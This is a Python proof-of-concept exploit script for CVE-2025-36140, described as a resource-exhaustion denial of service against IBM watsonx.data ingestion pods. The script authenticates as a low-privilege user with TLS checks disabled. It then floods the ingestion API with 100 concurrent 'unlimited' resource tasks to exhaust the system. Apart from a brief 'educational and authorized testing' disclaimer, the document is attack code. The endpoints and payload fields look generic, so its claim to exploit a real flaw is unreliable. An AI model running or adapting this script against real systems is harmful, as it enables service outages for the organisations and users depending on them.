CVE-2025-36140

#!/usr/bin/env python3 """ CVE-2025-36140 PoC - IBM watsonx.data Resource Exhaustion This PoC demonstrates how an authenticated user can cause DoS through ingestion pods. Note: This is for educational and authorized testing purposes only. """ import requests import json import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://watsonx.data.example.com" USERNAME = "low_privilege_user" PASSWORD = "password" def authenticate(): """Authenticate and get access token""" auth_url = f"{TARGET_URL}/api/v1/auth/token" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(auth_url, json=data, verify=False) return response.json().get('access_token') def create_ingestion_task(token, task_id): """Create a resource-intensive ingestion task without limits""" headers = {"Authorization": f"Bearer {token}"} # Malicious task that consumes excessive resources task_data = { "task_id": task_id, "source": "large_data_source", "target": "ingestion_pod", "priority": "high", "resource_allocation": "unlimited" # Exploits the vulnerability } url = f"{TARGET_URL}/api/v1/ingestion/tasks" try: response = requests.post(url, json=task_data, headers=headers, verify=False) return response.status_code == 200 except Exception as e: return False def exploit_cve(): """Main exploitation function""" print("[*] Starting CVE-2025-36140 exploitation...") token = authenticate() if not token: print("[-] Authentication failed") return False print("[+] Authentication successful") # Create multiple resource-intensive ingestion tasks print("[*] Creating resource-intensive ingestion tasks...") with ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(create_ingestion_task, token, f"task_{i}") for i in range(100)] results = [f.result() for f in futures] success_count = sum(results) print(f"[+] Created {success_count} resource-intensive tasks") print("[*] System resource exhaustion in progress...") return True if __name__ == "__main__": exploit_cve()

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